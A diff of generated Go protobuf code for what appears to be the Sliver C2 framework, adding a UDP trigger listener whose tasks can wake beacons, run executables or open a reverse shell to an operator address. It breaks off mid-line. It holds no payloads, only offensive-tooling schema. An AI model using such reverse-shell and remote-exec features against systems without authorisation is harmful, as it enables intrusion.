(*SpoofMetadataConfig)(nil), // 35: clientpb.SpoofMetadataConfig - (*TrafficEncoder)(nil), // 36: clientpb.TrafficEncoder - (*TrafficEncoderMap)(nil), // 37: clientpb.TrafficEncoderMap - (*TrafficEncoderTest)(nil), // 38: clientpb.TrafficEncoderTest - (*TrafficEncoderTests)(nil), // 39: clientpb.TrafficEncoderTests - (*ExternalImplantConfig)(nil), // 40: clientpb.ExternalImplantConfig - (*ExternalImplantBinary)(nil), // 41: clientpb.ExternalImplantBinary - (*ImplantBuilds)(nil), // 42: clientpb.ImplantBuilds - (*ImplantStageReq)(nil), // 43: clientpb.ImplantStageReq - (*ImplantBuild)(nil), // 44: clientpb.ImplantBuild - (*CompilerTarget)(nil), // 45: clientpb.CompilerTarget - (*CrossCompiler)(nil), // 46: clientpb.CrossCompiler - (*Compiler)(nil), // 47: clientpb.Compiler - (*DeleteReq)(nil), // 48: clientpb.DeleteReq - (*DNSCanary)(nil), // 49: clientpb.DNSCanary - (*Canaries)(nil), // 50: clientpb.Canaries - (*UniqueWGIP)(nil), // 51: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 52: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 53: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 54: clientpb.RegenerateReq - (*Job)(nil), // 55: clientpb.Job - (*Jobs)(nil), // 56: clientpb.Jobs - (*KillJobReq)(nil), // 57: clientpb.KillJobReq - (*RestartJobReq)(nil), // 58: clientpb.RestartJobReq - (*KillJob)(nil), // 59: clientpb.KillJob - (*ListenerJob)(nil), // 60: clientpb.ListenerJob - (*MultiplayerListenerReq)(nil), // 61: clientpb.MultiplayerListenerReq - (*MTLSListenerReq)(nil), // 62: clientpb.MTLSListenerReq - (*WGListenerReq)(nil), // 63: clientpb.WGListenerReq - (*DNSListenerReq)(nil), // 64: clientpb.DNSListenerReq - (*HTTPListenerReq)(nil), // 65: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 66: clientpb.NamedPipesReq - (*NamedPipes)(nil), // 67: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 68: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 69: clientpb.TCPPivot - (*Sessions)(nil), // 70: clientpb.Sessions - (*RenameReq)(nil), // 71: clientpb.RenameReq - (*GenerateReq)(nil), // 72: clientpb.GenerateReq - (*GenerateStageReq)(nil), // 73: clientpb.GenerateStageReq - (*Generate)(nil), // 74: clientpb.Generate - (*GenerateSpoofMetadataReq)(nil), // 75: clientpb.GenerateSpoofMetadataReq - (*MSFReq)(nil), // 76: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 77: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 78: clientpb.StagerListenerReq - (*StagerListener)(nil), // 79: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 80: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 81: clientpb.ShellcodeRDI - (*GetSystemReq)(nil), // 82: clientpb.GetSystemReq - (*MigrateReq)(nil), // 83: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 84: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 85: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 86: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 87: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 88: clientpb.PivotGraph - (*Client)(nil), // 89: clientpb.Client - (*Event)(nil), // 90: clientpb.Event - (*Operators)(nil), // 91: clientpb.Operators - (*Operator)(nil), // 92: clientpb.Operator - (*WebContent)(nil), // 93: clientpb.WebContent - (*WebsiteAddContent)(nil), // 94: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 95: clientpb.WebsiteRemoveContent - (*Website)(nil), // 96: clientpb.Website - (*Websites)(nil), // 97: clientpb.Websites - (*WGClientConfig)(nil), // 98: clientpb.WGClientConfig - (*Loot)(nil), // 99: clientpb.Loot - (*AllLoot)(nil), // 100: clientpb.AllLoot - (*IOC)(nil), // 101: clientpb.IOC - (*ExtensionData)(nil), // 102: clientpb.ExtensionData - (*Host)(nil), // 103: clientpb.Host - (*AllHosts)(nil), // 104: clientpb.AllHosts - (*DllHijackReq)(nil), // 105: clientpb.DllHijackReq - (*DllHijack)(nil), // 106: clientpb.DllHijack - (*BackdoorReq)(nil), // 107: clientpb.BackdoorReq - (*Backdoor)(nil), // 108: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 109: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 110: clientpb.ShellcodeEncode - (*ShellcodeEncoderArchMap)(nil), // 111: clientpb.ShellcodeEncoderArchMap - (*ShellcodeEncoderMap)(nil), // 112: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 113: clientpb.ExternalGenerateReq - (*Builders)(nil), // 114: clientpb.Builders - (*Builder)(nil), // 115: clientpb.Builder - (*HTTPC2Configs)(nil), // 116: clientpb.HTTPC2Configs - (*C2ProfileReq)(nil), // 117: clientpb.C2ProfileReq - (*HTTPC2ConfigReq)(nil), // 118: clientpb.HTTPC2ConfigReq - (*HTTPC2Config)(nil), // 119: clientpb.HTTPC2Config - (*HTTPC2ServerConfig)(nil), // 120: clientpb.HTTPC2ServerConfig - (*HTTPC2ImplantConfig)(nil), // 121: clientpb.HTTPC2ImplantConfig - (*HTTPC2Cookie)(nil), // 122: clientpb.HTTPC2Cookie - (*HTTPC2Header)(nil), // 123: clientpb.HTTPC2Header - (*HTTPC2URLParameter)(nil), // 124: clientpb.HTTPC2URLParameter - (*HTTPC2PathSegment)(nil), // 125: clientpb.HTTPC2PathSegment - (*Credential)(nil), // 126: clientpb.Credential - (*Credentials)(nil), // 127: clientpb.Credentials - (*Crackstations)(nil), // 128: clientpb.Crackstations - (*CrackstationStatus)(nil), // 129: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 130: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 131: clientpb.CrackBenchmark - (*CrackTask)(nil), // 132: clientpb.CrackTask - (*Crackstation)(nil), // 133: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 134: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 135: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 136: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 137: clientpb.CrackCommand - (*CrackJob)(nil), // 138: clientpb.CrackJob - (*CrackResponse)(nil), // 139: clientpb.CrackResponse - (*CrackConfig)(nil), // 140: clientpb.CrackConfig - (*CrackFiles)(nil), // 141: clientpb.CrackFiles - (*CrackFile)(nil), // 142: clientpb.CrackFile - (*CrackFileChunk)(nil), // 143: clientpb.CrackFileChunk - (*AIProviderConfigs)(nil), // 144: clientpb.AIProviderConfigs - (*AIProviderConfig)(nil), // 145: clientpb.AIProviderConfig - (*AIConfigSummary)(nil), // 146: clientpb.AIConfigSummary - (*AIConversationReq)(nil), // 147: clientpb.AIConversationReq - (*AIConversations)(nil), // 148: clientpb.AIConversations - (*AIContextWindowUsage)(nil), // 149: clientpb.AIContextWindowUsage - (*AIConversation)(nil), // 150: clientpb.AIConversation - (*AIConversationMessages)(nil), // 151: clientpb.AIConversationMessages - (*AIConversationMessage)(nil), // 152: clientpb.AIConversationMessage - (*AIConversationEvent)(nil), // 153: clientpb.AIConversationEvent - (*MonitoringProviders)(nil), // 154: clientpb.MonitoringProviders - (*MonitoringProvider)(nil), // 155: clientpb.MonitoringProvider - (*ResourceID)(nil), // 156: clientpb.ResourceID - (*CertificatesReq)(nil), // 157: clientpb.CertificatesReq - (*CertificateData)(nil), // 158: clientpb.CertificateData - (*CertificateInfo)(nil), // 159: clientpb.CertificateInfo - (*CertificateAuthorityData)(nil), // 160: clientpb.CertificateAuthorityData - (*CertificateAuthorityInfo)(nil), // 161: clientpb.CertificateAuthorityInfo - nil, // 162: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 163: clientpb.ExternalImplantConfig.EncodersEntry - nil, // 164: clientpb.ImplantBuilds.ConfigsEntry - nil, // 165: clientpb.ImplantBuilds.ResourceIDsEntry - nil, // 166: clientpb.ImplantBuilds.StagedEntry - nil, // 167: clientpb.WebsiteAddContent.ContentsEntry - nil, // 168: clientpb.Website.ContentsEntry - nil, // 169: clientpb.Host.ExtensionDataEntry - nil, // 170: clientpb.ShellcodeEncoderArchMap.EncodersEntry - nil, // 171: clientpb.ShellcodeEncoderArchMap.DescriptionsEntry - nil, // 172: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 173: clientpb.CrackSyncStatus.ProgressEntry - nil, // 174: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 175: clientpb.Crackstation.BenchmarksEntry - (*commonpb.File)(nil), // 176: commonpb.File - (*commonpb.Request)(nil), // 177: commonpb.Request - (*commonpb.Response)(nil), // 178: commonpb.Response +// Deprecated: Use WakeBeaconConfig.ProtoReflect.Descriptor instead. +func (*WakeBeaconConfig) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{144} } -var file_clientpb_client_proto_depIdxs = []int32{ - 21, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon - 23, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask - 44, // 2: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild - 26, // 3: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 - 0, // 4: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 27, // 5: clientpb.ImplantConfig.ShellcodeConfig:type_name -> clientpb.ShellcodeConfig - 3, // 6: clientpb.ImplantConfig.ShellcodeEncoder:type_name -> clientpb.ShellcodeEncoder - 176, // 7: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 29, // 8: clientpb.PESpoofMetadataConfig.Source:type_name -> clientpb.SpoofMetadataFile - 29, // 9: clientpb.PESpoofMetadataConfig.Icon:type_name -> clientpb.SpoofMetadataFile - 30, // 10: clientpb.PESpoofMetadataConfig.ResourceDirectory:type_name -> clientpb.IMAGE_RESOURCE_DIRECTORY - 31, // 11: clientpb.PESpoofMetadataConfig.ResourceDirectoryEntries:type_name -> clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY + +func (x *WakeBeaconConfig) GetBeaconID() string { + if x != nil { + return x.BeaconID + } + return "" +} + +type StopJobConfig struct { + state protoimpl.MessageState `protogen:"open.v1"` + // JobName matches the Name field of an active core.Job. First match + // wins; document collisions to operators. + JobName string `protobuf:"bytes,1,opt,name=JobName,proto3" json:"JobName,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *StopJobConfig) Reset() { + *x = StopJobConfig{} + mi := &file_clientpb_client_proto_msgTypes[145] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *StopJobConfig) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*StopJobConfig) ProtoMessage() {} + +func (x *StopJobConfig) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[145] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use StopJobConfig.ProtoReflect.Descriptor instead. +func (*StopJobConfig) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{145} +} + +func (x *StopJobConfig) GetJobName() string { + if x != nil { + return x.JobName + } + return "" +} + +type ExecConfig struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Cmd is the absolute path of the executable. Pre-split argv only. + Cmd string `protobuf:"bytes,1,opt,name=Cmd,proto3" json:"Cmd,omitempty"` + Args []string `protobuf:"bytes,2,rep,name=Args,proto3" json:"Args,omitempty"` + Workdir string `protobuf:"bytes,3,opt,name=Workdir,proto3" json:"Workdir,omitempty"` + Env map[string]string `protobuf:"bytes,4,rep,name=Env,proto3" json:"Env,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"` + // TimeoutMs bounds the subprocess lifetime via context.WithTimeout. + TimeoutMs uint32 `protobuf:"varint,5,opt,name=TimeoutMs,proto3" json:"TimeoutMs,omitempty"` + // PathOverride / HomeOverride customize the sanitized subprocess env. + PathOverride string `protobuf:"bytes,6,opt,name=PathOverride,proto3" json:"PathOverride,omitempty"` + HomeOverride string `protobuf:"bytes,7,opt,name=HomeOverride,proto3" json:"HomeOverride,omitempty"` + MaxOutputBytes uint32 `protobuf:"varint,8,opt,name=MaxOutputBytes,proto3" json:"MaxOutputBytes,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ExecConfig) Reset() { + *x = ExecConfig{} + mi := &file_clientpb_client_proto_msgTypes[146] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ExecConfig) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ExecConfig) ProtoMessage() {} + +func (x *ExecConfig) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[146] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ExecConfig.ProtoReflect.Descriptor instead. +func (*ExecConfig) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{146} +} + +func (x *ExecConfig) GetCmd() string { + if x != nil { + return x.Cmd + } + return "" +} + +func (x *ExecConfig) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *ExecConfig) GetWorkdir() string { + if x != nil { + return x.Workdir + } + return "" +} + +func (x *ExecConfig) GetEnv() map[string]string { + if x != nil { + return x.Env + } + return nil +} + +func (x *ExecConfig) GetTimeoutMs() uint32 { + if x != nil { + return x.TimeoutMs + } + return 0 +} + +func (x *ExecConfig) GetPathOverride() string { + if x != nil { + return x.PathOverride + } + return "" +} + +func (x *ExecConfig) GetHomeOverride() string { + if x != nil { + return x.HomeOverride + } + return "" +} + +func (x *ExecConfig) GetMaxOutputBytes() uint32 { + if x != nil { + return x.MaxOutputBytes + } + return 0 +} + +type ReverseShellConfig struct { + state protoimpl.MessageState `protogen:"open.v1"` + // OperatorAddr is the host:port the server dials out to on fire. + OperatorAddr string `protobuf:"bytes,1,opt,name=OperatorAddr,proto3" json:"OperatorAddr,omitempty"` + // ShellPath absolute; empty => platform default (/bin/sh or cmd.exe). + ShellPath string `protobuf:"bytes,2,opt,name=ShellPath,proto3" json:"ShellPath,omitempty"` + ShellArgs []string `protobuf:"bytes,3,rep,name=ShellArgs,proto3" json:"ShellArgs,omitempty"` + DialTimeoutMs uint32 `protobuf:"varint,4,opt,name=DialTimeoutMs,proto3" json:"DialTimeoutMs,omitempty"` + MaxSessionDurationMs uint32 `protobuf:"varint,5,opt,name=MaxSessionDurationMs,proto3" json:"MaxSessionDurationMs,omitempty"` + // UseTLS wraps the operator-side channel in TLS. + UseTLS bool `protobuf:"varint,6,opt,name=UseTLS,proto3" json:"UseTLS,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ReverseShellConfig) Reset() { + *x = ReverseShellConfig{} + mi := &file_clientpb_client_proto_msgTypes[147] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ReverseShellConfig) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ReverseShellConfig) ProtoMessage() {} + +func (x *ReverseShellConfig) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[147] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ReverseShellConfig.ProtoReflect.Descriptor instead. +func (*ReverseShellConfig) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{147} +} + +func (x *ReverseShellConfig) GetOperatorAddr() string { + if x != nil { + return x.OperatorAddr + } + return "" +} + +func (x *ReverseShellConfig) GetShellPath() string { + if x != nil { + return x.ShellPath + } + return "" +} + +func (x *ReverseShellConfig) GetShellArgs() []string { + if x != nil { + return x.ShellArgs + } + return nil +} + +func (x *ReverseShellConfig) GetDialTimeoutMs() uint32 { + if x != nil { + return x.DialTimeoutMs + } + return 0 +} + +func (x *ReverseShellConfig) GetMaxSessionDurationMs() uint32 { + if x != nil { + return x.MaxSessionDurationMs + } + return 0 +} + +func (x *ReverseShellConfig) GetUseTLS() bool { + if x != nil { + return x.UseTLS + } + return false +} + +type TriggerIntentBinding struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Name is the task label on the wire (operator's --task flag). + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + // Exactly one of the *Config fields below is set, selecting the + // handler kind. + // + // Types that are valid to be assigned to Config: + // + // *TriggerIntentBinding_WakeBeacon + // *TriggerIntentBinding_StopJob + // *TriggerIntentBinding_Exec + // *TriggerIntentBinding_ReverseShell + Config isTriggerIntentBinding_Config `protobuf_oneof:"Config"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerIntentBinding) Reset() { + *x = TriggerIntentBinding{} + mi := &file_clientpb_client_proto_msgTypes[148] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerIntentBinding) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerIntentBinding) ProtoMessage() {} + +func (x *TriggerIntentBinding) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[148] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerIntentBinding.ProtoReflect.Descriptor instead. +func (*TriggerIntentBinding) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{148} +} + +func (x *TriggerIntentBinding) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *TriggerIntentBinding) GetConfig() isTriggerIntentBinding_Config { + if x != nil { + return x.Config + } + return nil +} + +func (x *TriggerIntentBinding) GetWakeBeacon() *WakeBeaconConfig { + if x != nil { + if x, ok := x.Config.(*TriggerIntentBinding_WakeBeacon); ok { + return x.WakeBeacon + } + } + return nil +} + +func (x *TriggerIntentBinding) GetStopJob() *StopJobConfig { + if x != nil { + if x, ok := x.Config.(*TriggerIntentBinding_StopJob); ok { + return x.StopJob + } + } + return nil +} + +func (x *TriggerIntentBinding) GetExec() *ExecConfig { + if x != nil { + if x, ok := x.Config.(*TriggerIntentBinding_Exec); ok { + return x.Exec + } + } + return nil +} + +func (x *TriggerIntentBinding) GetReverseShell() *ReverseShellConfig { + if x != nil { + if x, ok := x.Config.(*TriggerIntentBinding_ReverseShell); ok { + return x.ReverseShell + } + } + return nil +} + +type isTriggerIntentBinding_Config interface { + isTriggerIntentBinding_Config() +} + +type TriggerIntentBinding_WakeBeacon struct { + WakeBeacon *WakeBeaconConfig `protobuf:"bytes,10,opt,name=WakeBeacon,proto3,oneof"` +} + +type TriggerIntentBinding_StopJob struct { + StopJob *StopJobConfig `protobuf:"bytes,11,opt,name=StopJob,proto3,oneof"` +} + +type TriggerIntentBinding_Exec struct { + Exec *ExecConfig `protobuf:"bytes,12,opt,name=Exec,proto3,oneof"` +} + +type TriggerIntentBinding_ReverseShell struct { + ReverseShell *ReverseShellConfig `protobuf:"bytes,13,opt,name=ReverseShell,proto3,oneof"` +} + +func (*TriggerIntentBinding_WakeBeacon) isTriggerIntentBinding_Config() {} + +func (*TriggerIntentBinding_StopJob) isTriggerIntentBinding_Config() {} + +func (*TriggerIntentBinding_Exec) isTriggerIntentBinding_Config() {} + +func (*TriggerIntentBinding_ReverseShell) isTriggerIntentBinding_Config() {} + +type TriggerListenerReq struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Host is the UDP bind IP, e.g. "0.0.0.0". + Host string `protobuf:"bytes,1,opt,name=Host,proto3" json:"Host,omitempty"` + // Port is the UDP bind port. + Port uint32 `protobuf:"varint,2,opt,name=Port,proto3" json:"Port,omitempty"` + // SharedSecret is the default HMAC key, used for any client_id not + // in PerClientKeys. Required unless every accepted client has a + // per-client key. + SharedSecret []byte `protobuf:"bytes,3,opt,name=SharedSecret,proto3" json:"SharedSecret,omitempty"` + // PerClientKeys maps client_id => HMAC secret bytes for multi-key + // deployments. Optional. + PerClientKeys map[string][]byte `protobuf:"bytes,4,rep,name=PerClientKeys,proto3" json:"PerClientKeys,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"` + // Strict, if true, rejects any client_id not in PerClientKeys even + // when SharedSecret is set. + Strict bool `protobuf:"varint,5,opt,name=Strict,proto3" json:"Strict,omitempty"` + // AllowedClientIDs restricts which client_id values are accepted. + // Empty list = any signed client. + AllowedClientIDs []string `protobuf:"bytes,6,rep,name=AllowedClientIDs,proto3" json:"AllowedClientIDs,omitempty"` + // AllowedSources accepts exact IPs and CIDR ranges (v4 + v6). + // Empty list = allow-all. + AllowedSources []string `protobuf:"bytes,7,rep,name=AllowedSources,proto3" json:"AllowedSources,omitempty"` + // ServerID is included in audit events. + ServerID string `protobuf:"bytes,8,opt,name=ServerID,proto3" json:"ServerID,omitempty"` + // Tasks bind labels to handlers at listener-start. + Intents []*TriggerIntentBinding `protobuf:"bytes,9,rep,name=Intents,proto3" json:"Intents,omitempty"` // wire name kept for compat + // Tunables (all optional; library applies sane defaults if zero). + Workers uint32 `protobuf:"varint,20,opt,name=Workers,proto3" json:"Workers,omitempty"` + MaxClockSkewSeconds uint32 `protobuf:"varint,21,opt,name=MaxClockSkewSeconds,proto3" json:"MaxClockSkewSeconds,omitempty"` + ReplayTTLSeconds uint32 `protobuf:"varint,22,opt,name=ReplayTTLSeconds,proto3" json:"ReplayTTLSeconds,omitempty"` + MaxMessageBytes uint32 `protobuf:"varint,23,opt,name=MaxMessageBytes,proto3" json:"MaxMessageBytes,omitempty"` + GlobalRatePerSecond uint32 `protobuf:"varint,24,opt,name=GlobalRatePerSecond,proto3" json:"GlobalRatePerSecond,omitempty"` + PerClientRequestsPerMinute uint32 `protobuf:"varint,25,opt,name=PerClientRequestsPerMinute,proto3" json:"PerClientRequestsPerMinute,omitempty"` + MaxReplayEntries uint32 `protobuf:"varint,26,opt,name=MaxReplayEntries,proto3" json:"MaxReplayEntries,omitempty"` + MaxRateLimitEntries uint32 `protobuf:"varint,27,opt,name=MaxRateLimitEntries,proto3" json:"MaxRateLimitEntries,omitempty"` + HandlerTimeoutMs uint32 `protobuf:"varint,28,opt,name=HandlerTimeoutMs,proto3" json:"HandlerTimeoutMs,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerListenerReq) Reset() { + *x = TriggerListenerReq{} + mi := &file_clientpb_client_proto_msgTypes[149] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerListenerReq) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerListenerReq) ProtoMessage() {} + +func (x *TriggerListenerReq) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[149] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerListenerReq.ProtoReflect.Descriptor instead. +func (*TriggerListenerReq) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{149} +} + +func (x *TriggerListenerReq) GetHost() string { + if x != nil { + return x.Host + } + return "" +} + +func (x *TriggerListenerReq) GetPort() uint32 { + if x != nil { + return x.Port + } + return 0 +} + +func (x *TriggerListenerReq) GetSharedSecret() []byte { + if x != nil { + return x.SharedSecret + } + return nil +} + +func (x *TriggerListenerReq) GetPerClientKeys() map[string][]byte { + if x != nil { + return x.PerClientKeys + } + return nil +} + +func (x *TriggerListenerReq) GetStrict() bool { + if x != nil { + return x.Strict + } + return false +} + +func (x *TriggerListenerReq) GetAllowedClientIDs() []string { + if x != nil { + return x.AllowedClientIDs + } + return nil +} + +func (x *TriggerListenerReq) GetAllowedSources() []string { + if x != nil { + return x.AllowedSources + } + return nil +} + +func (x *TriggerListenerReq) GetServerID() string { + if x != nil { + return x.ServerID + } + return "" +} + +func (x *TriggerListenerReq) GetIntents() []*TriggerIntentBinding { + if x != nil { + return x.Intents + } + return nil +} + +func (x *TriggerListenerReq) GetWorkers() uint32 { + if x != nil { + return x.Workers + } + return 0 +} + +func (x *TriggerListenerReq) GetMaxClockSkewSeconds() uint32 { + if x != nil { + return x.MaxClockSkewSeconds + } + return 0 +} + +func (x *TriggerListenerReq) GetReplayTTLSeconds() uint32 { + if x != nil { + return x.ReplayTTLSeconds + } + return 0 +} + +func (x *TriggerListenerReq) GetMaxMessageBytes() uint32 { + if x != nil { + return x.MaxMessageBytes + } + return 0 +} + +func (x *TriggerListenerReq) GetGlobalRatePerSecond() uint32 { + if x != nil { + return x.GlobalRatePerSecond + } + return 0 +} + +func (x *TriggerListenerReq) GetPerClientRequestsPerMinute() uint32 { + if x != nil { + return x.PerClientRequestsPerMinute + } + return 0 +} + +func (x *TriggerListenerReq) GetMaxReplayEntries() uint32 { + if x != nil { + return x.MaxReplayEntries + } + return 0 +} + +func (x *TriggerListenerReq) GetMaxRateLimitEntries() uint32 { + if x != nil { + return x.MaxRateLimitEntries + } + return 0 +} + +func (x *TriggerListenerReq) GetHandlerTimeoutMs() uint32 { + if x != nil { + return x.HandlerTimeoutMs + } + return 0 +} + +// TriggerIntentsReq selects a running trigger listener job for the +// task-introspection RPC. +type TriggerIntentsReq struct { + state protoimpl.MessageState `protogen:"open.v1"` + JobID uint32 `protobuf:"varint,1,opt,name=JobID,proto3" json:"JobID,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerIntentsReq) Reset() { + *x = TriggerIntentsReq{} + mi := &file_clientpb_client_proto_msgTypes[150] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerIntentsReq) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerIntentsReq) ProtoMessage() {} + +func (x *TriggerIntentsReq) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[150] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerIntentsReq.ProtoReflect.Descriptor instead. +func (*TriggerIntentsReq) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{150} +} + +func (x *TriggerIntentsReq) GetJobID() uint32 { + if x != nil { + return x.JobID + } + return 0 +} + +// TriggerIntents reports the task bindings registered for a running +// trigger listener. Returned by the TriggerIntents RPC. +type TriggerIntents struct { + state protoimpl.MessageState `protogen:"open.v1"` + JobID uint32 `protobuf:"varint,1,opt,name=JobID,proto3" json:"JobID,omitempty"` + Bindings []*TriggerIntentBinding `protobuf:"bytes,2,rep,name=Bindings,proto3" json:"Bindings,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerIntents) Reset() { + *x = TriggerIntents{} + mi := &file_clientpb_client_proto_msgTypes[151] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerIntents) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerIntents) ProtoMessage() {} + +func (x *TriggerIntents) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[151] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerIntents.ProtoReflect.Descriptor instead. +func (*TriggerIntents) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{151} +} + +func (x *TriggerIntents) GetJobID() uint32 { + if x != nil { + return x.JobID + } + return 0 +} + +func (x *TriggerIntents) GetBindings() []*TriggerIntentBinding { + if x != nil { + return x.Bindings + } + return nil +} + +// TriggerDispatchTaskReq instructs the server to fire a named task +// handler on a running trigger listener, bypassing the UDP wire +// protocol. This lets operators dispatch tasks interactively from the +// sliver console ("trigger send ") without an +// external trigger-client binary. +type TriggerDispatchTaskReq struct { + state protoimpl.MessageState `protogen:"open.v1"` + JobID uint32 `protobuf:"varint,1,opt,name=JobID,proto3" json:"JobID,omitempty"` + TaskName string `protobuf:"bytes,2,opt,name=TaskName,proto3" json:"TaskName,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerDispatchTaskReq) Reset() { + *x = TriggerDispatchTaskReq{} + mi := &file_clientpb_client_proto_msgTypes[152] + ms := 